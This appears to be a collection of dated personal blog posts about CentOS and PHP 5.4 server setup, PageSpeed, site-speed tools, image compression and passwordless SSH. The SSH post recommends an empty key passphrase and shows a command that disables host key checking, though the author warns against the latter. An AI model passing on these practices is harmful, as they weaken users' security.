tl;dr to the whole thing is this: Trust the tool! (Sharon, that was for you!)
**Categories:** How It Works
**Tags:** domain, servers
---
### [CentOS and PHP 5.4](https://halfelf.org/2013/centos-and-php-5-4/)
**Published:** January 20, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sundays are for Coding for Me. This weekend I upgraded to PHP 5.4, which meant I had to reinstall my two favorite extensions and added a new one.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/6172568431_67d4bdf44a_b1-300x200.jpeg)I finally got around to PHP 5.4
Alas this meant reinstalling certain things, like ImageMagick and APC.
This also brought up the question of pagespeed, which I keep toying with. I use it at work, but since this server’s on CentOS with EasyApache, there’s no ‘easy’ way to install PageSpeed yet (not even a yum install will work), so it’s all manual work plus fiddling. I don’t mind installing ImageMagick and APC, but Google’s own ‘install from source’ aren’t really optimized for CentOS, even though they say they are, and I’m nervous about the matter. Well… I did it anyway. It’s at the bottom.
The only reason I had to do this all over is that I moved to a new *major* version of PHP. If I’d stayed on 5.3 and up’d to 5.3.21, that wouldn’t have mattered. But this changed a lot of things, and thus, a reinstall.
## ImageMagick
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/200px-Imagemagick-logo.png) I started using ImageMagick shortly after starting with DreamHost, since my co-worker Shredder was working on the ‘Have WP support ImageMagick’ project. It was weird, since I remembered using it before, and then everyone moved to GD. I used to run a photo gallery with Gallery2, and it had a way to point your install to ImageMagick. Naturally I assumed I still had it on my server, since I used to (in 2008). Well since 2008, I’ve moved servers. Twice. And now it’s no longer default.
Well. Let’s do one of the weirder installs.
First you install these to get your dependancies:
```
yum install ImageMagick
yum install ImageMagick-devel
```
Then you *remove* them, because nine times out of ten, the yum packages are old:
```
yum remove ImageMagick
yum remove ImageMagick-devel
```
This also cleans out any old copies you may have, so it’s okay.
Now we install ImageMagick latest and greatest from [ImageMagick](http://www.imagemagick.org/script/download.php):
```
cd ~/tmp/
wget http://imagemagick.mirrorcatalogs.com/ImageMagick-6.8.1-10.tar.gz
tar zxf ImageMagick-6.8.1-10.tar.gz
cd ImageMagick-6.8.1-10
./configure --with-perl=/usr/bin/perl
make
make install
```
Next we install the -devel again, but this time we tell it where from:
```
rpm -i --nodeps http://www.imagemagick.org/download/linux/CentOS/x86_64/ImageMagick-devel-6.8.1-10.x86_64.rpm
```
Finally we can install the PHP stuff. Since I’m on PHP 5.4, I have to use imagick-3.1.0RC2 – Normally I’m not up for RCs on my live server, but this is a case where if I want PHP 5.4, I have to. By the way, next time you complain that your webhost is behind on PHP, this is probably why. If they told you ‘To get PHP 5.4, I have to install Release Candidate products, so your website will run on stuff that’s still being tested,’ a lot of you would rethink the prospect.
```
cd ~/tmp/
wget http://pecl.php.net/get/imagick-3.1.0RC2.tgz
tar zxf imagick-3.1.0RC2.tgz
cd imagick-3.1.0RC2
phpize
./configure
make
make install
```
Next, edit your php.ini to add this:
Restart httpd (`service httpd restart`) and make sure PHP is okay (`php -v`), and you should be done! I had to totally uninstall and start over to make it work, since I wasn’t starting from clean.
Speaking of clean, cleanup is:
```
yum remove ImageMagick-devel
rm -rf ~/tmp/ImageMagick-6.8.1-10*
rm -rf ~/tmp/imagick-3.1.0RC2*
```
## APC
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/apc.png)I love APC. I can use it for so many things, and I’m just more comfortable with it than xcache. Part of it stems from a feeling that if PHP built it, it’s more likely to work. Also it’s friendly with my brand of PHP, and after 15 years, I’m uninclined to change. I like DSO, [even if it makes WP a bit odd](https://halfelf.org/2011/wordpress-dso-and-permissions/ "WordPress, DSO and Permissions").
Get the latest version and install:
Add this to your php.ini:
Restart httpd again, clean up that folder, and then one more…
## mod\_pagespeed
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/Google-s-mod-pagespeed-Apache-Module-Is-Out-of-Beta-Ready-to-Turbocharge-the-Web-Video-2.png)I hate Google. Well, no I don’t, but I don’t trust them any more than I do Microsoft, and it’s really nothing personal, but I have issues with them. Now, I use PageSpeed at work, so I’m more comfortable than I was, and first I tried Google’s installer. The RPM won’t work, so I tried to [install from source](https://developers.google.com/speed/docs/mod_pagespeed/build_from_source), but it got shirty with me, fast, and I thought “Why isn’t this as easy as the other two were!?” I mean, APC was stupid easy, and even easier than that would be `yum install pagespeed` right?
Thankfully for my sanity, someone else did already figure this out for me, Jordan Cooks, and I’m reproducing his [Installing mod\_pagespeed on a cPanel/WHM server](http://hasaninter.net/2012/04/13/installing-mod_pagespeed-on-a-cpanelwhm-server/) notes for myself.(By the way, I keep a copy of this article saved to DropBox since invariably I will half-ass this and break my site.) Prerequisite was to have mod\_deflate, which I do.
The commands are crazy simple:
Once you do this, you have to edit the file, and this is where I differ from Jordan’s direction. He just copied this over `/usr/local/apache/conf/pagespeed.conf` but I had an older version from a ‘Let’s try Google’s way….’ attempt and someone else’s directions, so I made a backup and then took out the `ModPagespeedGeneratedFilePrefix` line since I know that’s deprecated. I also added in a line to tell it to ignore `wp-admin`.
Here’s my pagespeed.conf (edited):
To tell Apache to run this, edit `/usr/local/apache/conf/includes/pre_main_global.conf` and add:
Note: We put this code here because EasyApache and httpd.conf will eat your changes.
Finally you rebuild Apache config and restart apache and test your headers to see goodness! My test was a success.
```
HTTP/1.1 200 OK
Date: Mon, 21 Jan 2013 03:12:13 GMT
Server: Apache
X-Powered-By: PHP/5.4.10
Set-Cookie: PHPSESSID=f4bcdae48a1e5d5c5e8868cfef35593a; path=/
Cache-Control: max-age=0, no-cache
Pragma: no-cache
X-Pingback: https://ipstenu.org/xmlrpc.php
X-Mod-Pagespeed: Powered By mod_pagespeed
Vary: Accept-Encoding
Content-Length: 30864
Content-Type: text/html; charset=UTF-8
```
For those wondering why I’m ignoring wp-admin, well … sometimes, on some servers, in some setups, if you don’t do this, you can’t use the new media uploader. It appears that PageSpeed is compressing the already compressed JS files, and changing their names, which makes things go stupid. By adding in the following, I can avoid that:
Besides, why do I need to cache admin things anyway, I ask you?
So there you are! Welcome to PHP 5.4!
**Categories:** How To
**Tags:** administration, cache, google, images, speed
---
### [Review: Sitespeed.io](https://halfelf.org/2014/review-sitespeed-io/)
**Published:** May 19, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Analyze your website while getting a beer.
**Content:**
Let’s get this part out of the way first…

Like most people, I have a suite of websites I check when I’m trying to figure out how well a site does with regards to speed. [Google PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/), [ySlow](http://yslow.org/), [GTMetrix](http://gtmetrix.com/) (which does both), [Pingdom Website Speed Test](http://tools.pingdom.com/fpt/), [Bytecheck](http://www.bytecheck.com/)… The list goes on and on. We want as many checks as possible in understanding what’s causing sites to be slow and what is not.
When I added in nginx I wanted to test everything again, and as I made my way down my list I thought “Isn’t there a way to do this and go make a coffee?”
[Sitespeed.io](http://www.sitespeed.io/) analyzes my site while I make coffee. It’s Open Source. It’s forkable. It’s easy to install. Since I’m on a Mac, I used [Homebrew](http://brew.sh/) (which I’ll post more about in two days) but you can git clone, or download the zip, however you like.
Once installed, you run a sitespeed.io call:
This takes a little but creates a folder off your home directory: `~sitespeed-result/halfelf.org/2014-05-14-14-59/` and in there will (eventually) be a lot of files including an index.html. That one you open up in the browser. The scan *definitely* takes longer than a sitespeed check, but it’s also more in-depth in the ways I always wanted from sitespeed. Also since it’s HTML, I can toss it online and share with people.
What I noted first was a ton of errors. Sad panda.
```
phantomjs[88651:507] CoreText performance note: Client called CTFontCreateWithName() using name "Open Sans" and got font with PostScript name "OpenSans". For best performance, only use PostScript names when calling this API.
```
It also had a lot of crashes, which was when I wondered if everything was on the right version. Again, checked in with Homebrew, upgraded phantom,js, and tried it again. This time no errors (yay!)
But then the process finished and I looked at my score. 81.
So I dug into the results and looked at first my home page.
> You have 2 javascripts in the critical path and 8 stylesheets using 0 extra domains
>
> \[…\]
>
> This page has 8 external stylesheets. Try combining them into fewer requests.
And it showed me what those were. Weirdly, I saw WP was calling jquery on it’s own, as well as the JS I minified and compressed with mod\_pagespeed. Interested, I checked three other sites on my server, and they all have the same issue. It blows my mind that no other tool had pointed that out before. The stylesheets I knew were from my fonts. While I minified them all, I did not combine them because it made my font-icons break. I upgraded mod\_pagespeed for Apache 2.4 and haven’t looked at that since, so I tried it again indeed, it worked now.
I slowly worked my way down the list, noting things that I could easily fix. One thing that would ding me hard was my use of webfonts. Also not using a CDN still dinged me. Still, by using Sitespeed.io, I was able to see more exactly what was slowing my site down and why, and what I could sacrifice. Some things are going to be unavoidable (like “You are using an old version of JQuery: 1.11.0 …” ) and the multiple domains (google.com, wordpress.com, etc), but really the fact that I can narrow in with specific issues is perfect.
There are a whole mess of options, like I can take screenshots with each page, restrict the scan to specific pages (or exclude others), check in mobile, test in specific browsers (note: this is more complicated!), and much more.
So welcome, Sitespeed.io, you’re in my toolkit now!
**Categories:** How To
**Tags:** development, speed
---
### [Is It My Server or My Theme?](https://halfelf.org/2012/server-or-theme/)
**Published:** October 5, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Site slowness shouldn't start with pointing fingers at your host, but at yourself.
**Content:**
This could go on any of my sites, but since the conversation started on the DreamHost forums, I thought I’d tackle it here.
When your site is running slow, it’s easy to pick on the webhost or the server you’re on, saying that’s the problem, and demanding someone else fix it. The truth is that speed involves a lot more variables than just the webhost. Sure, if your host is slow (or down), you’re stuck waiting on us, but there are a couple really easy ways to determine where the slowness is, and you might be surprised.
If you’re using a CMS like WordPress or Drupal, take a look at how long a page takes to load the first time, and then again on a refresh. When you look at these pages, they’re in PHP and take a little time to process. The more complex your code, the longer it can take to display. This won’t really impact a refresh, but it’s a good idea to see if your browser is caching anything. If the site is really slow, go look at a static HTML or TXT page. On WordPress, look at http://yourdomain.com/readme.html and see how fast that loads. If that’s slow, hey! It *is* your server! Open up a ticket with us and tell us that the site is slow to load static pages. It’s really important that you tell us what you’ve done, so we don’t have to waste time re-doing it all for you.
But most of the time you’ll see the html loads really fast. Why is that? It’s that pesky PHP taking a while to render. Now I know this brings up the obvious question of why would we use PHP if it takes longer to load, and the answer is complicated. There are a lot of benefits to using PHP (like being able to use those cool CMS’s to make publishing your site easier), and I’m not going to go into them. Just know that if you choose to use a modern CMS, then you’re likely going to be using PHP to render your site.
That means we have to consider how to make our PHP run faster. If you’re on shared hosting, the server side work should have been done for you, and if things are *still* slow then you have to consider the painful option that you did this to yourself. Don’t worry! That’s not a terrible thing, you probably just picked a theme, or a plugin, that is totally perfect for you, but a little slow. This is why people say ‘too many plugins/extensions slow your site.’ It’s not true, but the idea is that the wrong one will slow you down. And that is certainly true.

Go to [Google PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights#) and check your site out. It should give you a hint as to what’s lacking. Don’t take this as the holy grail, though. Sometimes Google has really dumb advice, like ‘You should compress the code you’re using from google.com!’ Really? So why don’t you compress it, or tell me ‘Use this code instead from us! It’s already compressed!’ In theory, all of Google’s jquery code has a compressed version, but that’s not what most people see, so telling us to use it but not how is pretty idiotic, in my opinion.
I always tell people to look into minifying their output. That means you use a tool to make your HTML all mashed up together when someone looks at your source code. This simple step has amazing results for most sites. It took my Google Speed score from 71 to 81. Any score above 75 is a ‘good’ score from my experience (Microsoft gets a 77, after all, and while Google gets a 99, their main page is pretty minimalistic).
The point to all this is that your pagespeed is dependent on more than just how fast DreamHost is running. If you tell me that your site is slow, the first thing I do is look at a static page (I may even make one for you if I can’t find one). From there, maybe I’ll poke at the server, but most of the time it’s been your site’s configuration. I say this from a place of over 15 years of self-hosting: I’m nearly always the cause of my own problems.
Of course, if it’s your WordPress site being a slug, start with caching plugins and feel free to ask us for advice. If you have a wild and wooly, never been seen before, WP problem, don’t be surprised to see me showing up in your ticket.
**Categories:** How To
**Tags:** servers, speed
---
### [Kick PageSpeed Up A Notch](https://halfelf.org/2013/kick-pagespeed-up-a-notch/)
**Published:** January 22, 2013
**Author:** Ipstenu (Mika Epstein)
**Content:**
If you’re using Apache and PHP 5.3 on your DreamHost domain, you have the magical power to enable Google PageSpeed. Just go and edit your domain and make sure you check the box for “Page Speed Optimization”:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/01/Screen-Shot-2013-01-22-at-12.37.44-PM.png)
But what does that even mean, I hear you ask?
[](https://halfelf.org/wp-content/uploads/sites/2/2013/01/partners.png)PageSpeed is Google’s way to speed up the web (yeah, that was redundant), and it serves as a way for your server to do the work of caching and compressing, taking the load off your webapps. Like WordPress. Anyone can install this on their apache server, and it’s free from [Google Developers: PageSpeed Mod](https://developers.google.com/speed/pagespeed/mod). Since you’re on DreamHost, you lucky ducky you, we did it for you. Now you can sit back and relax.
The first thing to notice when you turn on PageSpeed is that it minifies your webpage. That means it takes your pretty formatted source code and gets rid of the extra spaces you don’t use. This is called by using the PageSpeed filter “collapse\_whitespace.” Another filter we use is “insert\_ga” which is how we’re magically able to insert your Google Analytics for you from your panel. That filter automatically inserts your GA code on every page on your domain. That’s right! *No more plugins*!
If you’re like me, you may start to wonder what other filters you should use, and that entirely depend on what you want to remove. I knew I wanted to remove code comments like the following:
That’s easy! There’s a filter for “remove\_comments” so I can just use that. They have a whole mess of filters listed in the [Filter Documentation](https://developers.google.com/speed/docs/mod_pagespeed/filters) and reading through it took a while. If you read each one, at the bottom they talk about how risky a certain filter is. Taking that into account, I went ahead and added some low and some high risk filters, since I know what I’m using.
The magic sauce to add all this is just to edit your .htaccess and put in the following near the top:
Really, that’s it.
The ones I picked are:
- [remove\_comment](https://developers.google.com/speed/docs/mod_pagespeed/filter-comment-remove)s – Remove HTML comments (low risk)
- [rewrite\_javascript](https://developers.google.com/speed/docs/mod_pagespeed/filter-js-minify) – minifies JS (med. to high risk, depending on your site)
- [rewrite\_css](https://developers.google.com/speed/docs/mod_pagespeed/filter-css-rewrite) – parses linked and inline CSS, rewrites the images found and minifies the CSS (med. risk)
- [rewrite\_images](https://developers.google.com/speed/docs/mod_pagespeed/filter-image-optimize) – compresses and optomizes images (med. risk)
- [elide\_attributes](https://developers.google.com/speed/docs/mod_pagespeed/filter-attribute-elide) – removing attributes from tags (med. risk)
- [defer\_javascript](https://developers.google.com/speed/docs/mod_pagespeed/filter-js-defer) – combines JS and puts it at the end of your file (high risk AND experimental!)
- [move\_css\_to\_head](https://developers.google.com/speed/docs/mod_pagespeed/filter-css-to-head) – combines CSS and moves it to the head of your file (low risk)
Now keep in mind, not all of the features will work. While DreamHost is on a pretty cutting edge version of PageSpeed, they’re constantly innovating over there and improving. The best thing about these changes is, if you do it right, you can speed your site up faster than any plugin could do for you. And that? Is pretty cool right there.
**Categories:** How To
**Tags:** dreamhost, htaccess, php, speed
---
### [Take my SPDY, Please](https://halfelf.org/2014/google-apache-take-spdy-please/)
**Published:** December 31, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** So Google gave mod_spdy to Apache. Now what?
**Content:**
When I upgraded my server to Apache 2.4, I lamented that the choice had [killed any ability I had to run SPDY](https://halfelf.org/2014/apache-kiboshed-spdy/ "Apache 2.4 Kiboshed SPDY"). This led to me installing an [Nginx proxy](https://halfelf.org/2014/nginx-proxy/ "Nginx Proxy") on my box and being pretty happy with it.
I wanted to like the idea of SPDY on Apache, but there were serious issues with mod\_spdy. First of all, it’s incompatible with Apache version 2.4. That sucks. While someone had forked it, issue number two made me worry. You see, mod\_spdy requires OpenSSL version 1.0.1c and modifies mod\_ssl. If it was Google’s suggestions for it, I might be okay, but now we’re talking about trusting some random person out there. No. Finally the dippy thing hadn’t been updated in *years*.
Someone finally shamed Google enough, because earlier this year [Google gave mod\_spdy to Apache](http://googledevelopers.blogspot.com/2014/06/modspdy-is-now-apache-project.html). The plan is for it to be a part of Apache 2.4, as well as the future 2.6/3.0 world:
> Being a part of Apache core will make SPDY support even more widely available for Apache httpd users, and pave the way for HTTP/2.0. It will also further improve that support over the original version of mod\_spdy by better integrating SPDY and HTTP/2.0’s multiplexing features with the core part of the server.
Finally!
Except not. Sadly, there’s been very little activity since this summer. You can look at the code on Apache SVN and [mod\_spdy hasn’t been touched in 3 months](https://svn.apache.org/viewvc/httpd/mod_spdy/trunk/). It’s sad to see this linger. I had high hopes that Apache would jump and run, but they haven’t even made it work with Apache 2.4 yet.
I’m not going to hold my breath for parity on this one just yet.
**Categories:** How It Is
**Tags:** servers, speed
---
### [Image Compression](https://halfelf.org/2015/image-compression/)
**Published:** August 17, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Compressing images to make your site load faster is all fun and games, until someone loses an eye.
**Content:**
If you’ve ever tested your site on Google PageSpeed Insights, GTMetix, Yahoo! YSlow, or any of those tools, you may have been told about the value found in compressing images.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/08/pagespeed-optimizeimages.png)
There are some images you can fix, like the first one on that screenshot is for an image from Twitter I downloaded. There are some you can’t fix, like the last three are all telling me the default smilies for WordPress need some shrinking.
Either way, the short and skinny of it is that if you make your images smaller then your webpage loads faster. I know, it’s shocking. Many long-term webheads know that you can compress images best on your own computer, using ‘Save For Web’ and other command line tools for compression. That’s great, but that doesn’t work for everyone. Sometimes I’m blogging from my phone or my iPad and I don’t have access to my tools. What then?
## Before You Upload
I know I just said but what about when you can’t resize before you upload. There are things you can do for this. [Photo Compress for iOS](https://itunes.apple.com/us/app/photo-compress-reduce-image/id966242098?mt=8) will let you make your images smaller. So can [Simple Resize](https://itunes.apple.com/us/app/simple-resize/id327776379?mt=8). There are a lot of similar apps for Android as well.
For the desktop, I use [Homebrew](https://halfelf.org/2014/its-not-beer-its-homebrew/) so I installed ImageMagik (which is also on my server for WP to use) and toss in a command line call for it. Sometimes I’ll use grunt (yes, [Grunt](https://halfelf.org/2015/updating-bower-grunt/), the same thing I use for Bower and coding) and [ImageOptim](https://github.com/JamieMason/grunt-imageoptim) to compress things en masse.
Of course, if I only have one or two images, I just use Preview which does the same thing more or less. Photoshop, which is still stupid expensive, also lets you do this, but for the layman, I suggest Preview for the Mac. I haven’t the foggiest what you can use on Windows.
If you’re not uploading images via WordPress (and very often I’m not), you pretty much have to do it old-school.
## While You Upload
Okay great, but what about WordPress?
The best way about it is to have WordPress magically compress images while you upload them. And actually it does this out of the box. My cohort in crime at DreamHost, Mike Schroder, was part of the brain trust behind making ImageMagick a part of core WordPress. This was a massive undertaking, but it allowed WordPress to compress images better, faster, and more reliably than GD. I hesitate to say it’s ‘safer’ since the image loss (that is that weird fuzzing you get some times) is less.
If you want to make it even better, you need to use plugins. I used to tell people to use smush.it which was a Yahoo! run service. But then they deleted it and we were all very sad. WPMU Dev, who owns a SmushIt plugin, installed Smushing on their servers and you can now use [WP Smush](https://wordpress.org/plugins/wp-smushit/). I’m a bit of a fan of [TinyPNG](https://wordpress.org/plugins/tiny-compress-images/), which gives you 500 free compressions a month, and that’s enough for me. I like TinyPNG because there are no options. I install it, it runs when I upload images, and done. That doesn’t mean I don’t see value in things like [ShortPixel](https://wordpress.org/plugins/shortpixel-image-optimiser/), just that it’s not really what I want. Finally there’s [Kraken IO](https://wordpress.org/plugins/kraken-image-optimizer/) which I love just for the name, but it makes people balk because it’s not free.
If you don’t want to use an external service, and I totally get why you wouldn’t, there’s [EWWW Image Optimizer](https://wordpress.org/plugins/ewww-image-optimizer/).
I personally use either EWWW or TinyPNG, depending on the site.
## Can a CDN Help?
Maybe. I know a lot of people love offloading their images to CDNs. I currently don’t for no reason other than I’m a bit lazy and I hate trusting someone else to host my images. But that said, you actually can (rather easily) use a CDN if you have Jetpack installed. Their service, Photon, does exactly that. Now, I don’t use Photon because my users in Turkey and China like to visit my site, but there’s nothing at all wrong with those services.
**Categories:** How To
**Tags:** images, speed, wordpress
---
### [WordPress Media Library: Show ID](https://halfelf.org/2013/media-library-show-id/)
**Published:** August 26, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to add a new column on the WordPress Media Library to show the ID.
**Content:**
While this is considerably less of an issue with the new Media Uploader, and how it inserts your gallery code, this used to be a hassle. The old `[gallery]` code would just be that, a short tag, and if included all images attached to a post. So if you wanted it to exclude some images, you had to figure out their IDs, or remove them from the post.
I used to have to show people how to do this all the time. Hover over the image, note the URL, bleh bleah bleaaaaaaaaah.
So what if the images showed the IDs? Hey! You can do that with this function!
And there you go. I don’t actually use this anymore, but it was sitting in my scrapbook of functions.
If you’re wondering about the *right* way to handle galleries today, the gallery editor lets you configure what images are and aren’t in it through a GUI, so you don’t need to mess with this. Just click on the gallery to edit it, remove the images you don’t want, add the new ones, and off you go. About the only thing it doesn’t do is let me select how I want the images to like (URL, file, or none), and I still don’t have the option to link to an external URL. Ah well.
**Categories:** How To
**Tags:** coding, images, wordpress
---
### [Passwordless SSH](https://halfelf.org/2012/passwordless-ssh/)
**Published:** September 19, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Everyone talks about it, this is how I setup passwordless SSH.
**Content:**
I’m incurably lazy, and as we all know, lazy techs like to automate (ltla?).
I ssh a lot into my personal servers, and I get tired of having to type `ssh account@server.com`, and *then* enter my password. So I got smart.
Since I’m on a Mac, the first thing I did was grab [iTerm2](http://www.iterm2.com/#/section/home). This lets me create simple profiles so with a click, I can log in to any of my servers. When I was using Windows, I used [PuTTY](http://www.putty.org/) and the add-on for [Connection Manager](http://www.binarysludge.com/2011/11/30/putty-connection-manager-website-down/).(The real PuTTY CM site is gone, and binarysludge just keeps a copy on hand for the same reasons I do. You never know when you need it. Mine’s in my [Dropbox storage](https://www.dropbox.com/s/t8qowplijmjeu3x/puttycm0.7.1.136beta.exe).)
What I really loved about PuTTY CM was that I could fill the pref file with my accounts and passwords, and then one-click connect to any of my servers. This was as The Bank Job, where I had a couple hundred servers to do this with, and when I had to change my password, I could search/replace that file. I know, it’s not secure. At DreamHost, I had the same, but they scripted it so I can sudo in with a handy call that I’m in love with. As long as I remember my password, I’m fine. But see, I told you, I’m horribly lazy and I hate having to log in with my password, then sudo again with my password.
The first step for this is to make an rsa key pair. This is a fancy way of telling both computers to trust each other, so on your personal computer (we’re assuming linux here), go to your home folder and type this:
```
[Laptop] $ ssh-keygen -t rsa
```
You’ll be presented with a series of informative notes and questions. Accept *all* the defaults, and keep your passphrase empty.
```
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ipstenu/.ssh/id_rsa):
Created directory '/home/ipstenu/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/ipstenu/.ssh/id_rsa.
Your public key has been saved in /home/ipstenu/.ssh/id_rsa.pub.
The key fingerprint is:
3e:4f:05:79:3a:9f:96:7c:3b:ad:e9:58:37:bc:37:e4 ipstenu@[Laptop]
```
This saves your public ‘key’ in the `.ssh` folder (yes, it’s a folder)
Now we have to setup the server (halfelf.org for example):
```
[Laptop] $ ssh myaccount@halfelf.org mkdir -p .ssh
myaccount@halfelf.org's password:
```
This will SSH into halfelf as ‘myaccount’ and create a folder called `.ssh`. You only need to do this once, so after you set up the key for one computer, you can skip this the next time.
Finally we’re going to append the public key from my laptop over to HalfElf, so it trusts me:
```
[Laptop] $ cat .ssh/id_rsa.pub | ssh myaccount@halfelf.org 'cat >> .ssh/authorized_keys'
myaccount@halfelf.org's password:
```
The reason we’re appending is so that if I decide I want to add my Work Laptop, I can just make the key, and then repeat that last command and it will *add* it to the bottom, trusting both.
There’s a caveat here, which caught me last week. I set everything up for my new server, [ElfTest](http://elftest.net), and then moved the server to a VPS. The IP changed, so the trusted key was invalid. You see, every time you connect to a server for the first time, it asks you to trust it. If anything in that fingerprint changes, you have to re-trust. This is annoying:
```
The authenticity of host 'elftest.net (111.222.333.444)' can't be established.
RSA key fingerprint is f3:cf:58:ae:71:0b:c8:04:6f:34:a3:b2:e4:1e:0c:8b.
Are you sure you want to continue connecting (yes/no)?
```
After you respond “yes” the host gets stored in `~/.ssh/known_hosts` and you won’t get prompted the next time you connect. When it became invalid, I had to go edit that file and delete the entry for elftest (it’s partly human readable, so it wasn’t too bad).
If you hate this as much as I do, and you feel you’re immune to man-in-the-middle attacks, there’s a nifty command:
```
ssh -o "StrictHostKeyChecking no" user@host
```
This turns off the key check. Generally speaking? Don’t do this. I’ve actually only done it once. (This was at the bank, where I was behind so many firewalls, if you’d gotten to my computer, I was in trouble anyway.)
**Categories:** How To
**Tags:** command line, unix
---
### [Collecting Conflicting Stats](https://halfelf.org/2013/collecting-conflicting-stats/)
**Published:** March 25, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Measuring success via traffic isn't as simple as opening one program and reading a number.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2//2013/02/url1.jpeg)While, like many people, I use Google Analytics, I don’t really trust it’s parsing. I do use mod\_pagespeed which lets me auto-embed my GA code in every page without plugins or extra work on my part, which is great, but the results are questionable and often wildly disparate and conflicting.
Let me demonstrate:
GoogleAWStatsWebalizer**Page views**2,60710,3548,502**Hits**49,830 59,542 **Visits**8881,2742,255First of all, I can’t find ‘hits’ anywhere on Google. Their layout is different and changes regularly. Secondly, and I’m sure this jumps out at you, according to AWStats and Webalizer, I’m getting 4 to 5 times the pageviews compared to Google. I previously configured AWStats and Webalizer to exclude wp-admin and other ‘back end’ pages by editing the configuration files. I did the same in my .htaccess for PageSpeed, so I know no one is tracking admin pages.
I already know that AWStats errs on the site of users, so if it can’t tell something is a bot, it assumes it’s a user. I also know it tends to overcount, since it bases its counts on traffic in a way that is a little generous (a 60 minute count for a visit). Not a huge deal, but enough to say that yes, the 10k pageview is probably closer to the 9 or 8 of Webalizer. Speaking of Webalizer, it uses a 30 minute count, so there it skews higher. Fine, let’s be harsh and halve them.
That gives me 4000-ish pageviews. Google gave it 2600-ish.
Interestingly, Google gives a 30 minute visit count too, but it also uses cookies and javascript, which while fairly safe, doesn’t run on everyone’s browser. As an amusing side-bar, when I switched from using a plugin or manually injecting Google Analytics into my sites and started using mod\_pagespeed’s insertion, my results *went up*. Noticeably. In part this is attributed to the fact that my site is having higher traffic than normal, but when I compared it to WordPress Stats, it was a bigger than expected jump.(I’m not using WordPress’s Stats ala Jetpack in this experiment because it only counts WordPress pages, and the site I’m using is not just WP. However on a pure WP site, WP’s stats tend to skew higher than GA.)
Which one is right? Most people will say Google is ‘closer to the truth’ but I don’t know how much I can rely on that. Certainly it’s more true for how many actual people are visiting my site, and when I’m judging metrics for marketing, I’m a little more inclined to use Google. That said, if I’m trying to understand why my page speed is slow, or where I’m getting hammered with traffic, AWStats and Webalizer are *far* more accurate, since they’re counting everything.
[](https://halfelf.org/wp-content/uploads/sites/2//2013/02/url.png)From “Manga Guide to Statistics,” Shin Takahashi, 2008Right now, I’m keeping Google Analytics on my sites. I don’t really need the measurements for marketing (that would involve *doing* marketing), but there are better social engagement stats provided that make it helpful. Like of all the social media sites, Facebook and Twitter are tied for traffic, and Google Plus is only high scored on my tech blog. I think that if Google let us [auto publish to Google+](http://wpdaily.co/jetpack-google-plus/), those stats would change, but for now, it’s all manual.
This is not to say that I think auto-posting is great for social engagement, but I find I actual pay attention more to the social aspect of the media if I don’t have to remember to post all over the place. This is a massive shift since October 2011, [when I’d stopped auto-posting for SEO reasons](https://halfelf.org/2011/seo-doesnt-auto-post-anymore/). Why did I change my stance? Well it because easier to autopost *and* keep that personal touch with Jetpack’s Publicize feature. Now I can easily insert a custom message, and I know it’s going to (mostly) use my excerpt.(For some reason Tumblr is a moron about this) That saves me effort and allows me to spend more time actually interacting!
Auto-generating my stats with little effort, and being able to easily read them without needing a degree in SEO (no they don’t exist) is also hugely important. Google Analytics is easy to read, but curiously I find it overly complicated to understand. The different pages and layouts make it surprisingly hard to find ‘What were my stats for yesterday?’ Sometimes I have a boom in traffic on one day (like the day I had a 600% increase) and I want to see what went on and why. Where was this traffic coming from? WordPress’s stats do this amazingly well, just as an example.
No one tool provides all the data I need to measure all aspects of my site, nor does anyone one tool collect all the data. Google tells me more about browser size, screen resolution, and everything it can grab about the user, where AWStats and Webalizer give me more information about traffic by showing me everything, bots and humans. Basically server tools are great for collecting server stats, and webpage tools are great for user stats. But you need both.
So in the end, I have at least four different statistic programs I check on, regularly, to try and understand my traffic and measure success.
**Categories:** How It Is
**Tags:** administration, analytics, seo, social media, website
---
### [Gensis: Post Title on Featured Image](https://halfelf.org/2014/gensis-post-title-on-featured-image/)
**Published:** October 31, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little more featured image magic for your day.
**Content:**
This is something that’s done already on my personal blog, and I wanted to repurpose it for another. This was actually very easy, once I reverse engineering a few things.
### Add the Featured Image
First you have to make sure you have a featured image to add:
I’ve probably made this more complicated than necessary, but I needed the extra div for pages without featured images, I wanted to and I wanted to show the image on post pages without a link, so this was what I made.
### Move the header with CSS
I actually use some sass to generate this (thank you [Taupecat](http://www.taupecat.com/) and [my sass plugin](http://elbongurk.com/2013/11/how-to-use-sass-in-coda/)) but I’ve put it in plain PX for you. Adjust as needed. The `.featured-image.no-image` height is to match the height of that site’s featured image, [which I always know](https://halfelf.org/2014/featured-image-size-redux/ "Featured Image Size Redux").
### Style as desired
I threw in this so the whole image changes color when you hover, as a good indicator to what’s going on.
Surprisingly simple.
**Categories:** How To
**Tags:** images, themes, wordpress
---
### [Mailbag: Multiple Download Buttons](https://halfelf.org/2015/mailbag-download-buttons/)
**Published:** January 16, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How I make fake download 'buttons' for my EDD store.
**Content:**
Less a mailbag and more a forum question that grew from a logical question.
How *do* you link ‘external’ stores from your product pages?
Well, for me I do it by having a custom page I designed for my products, and listing three shortcodes. One for EDD (the default `[purchase_link]`) and then two for my own links. In non-shortcode, its like this:
`[Buy from Me][Buy from Amazon][Buy from Apple]`
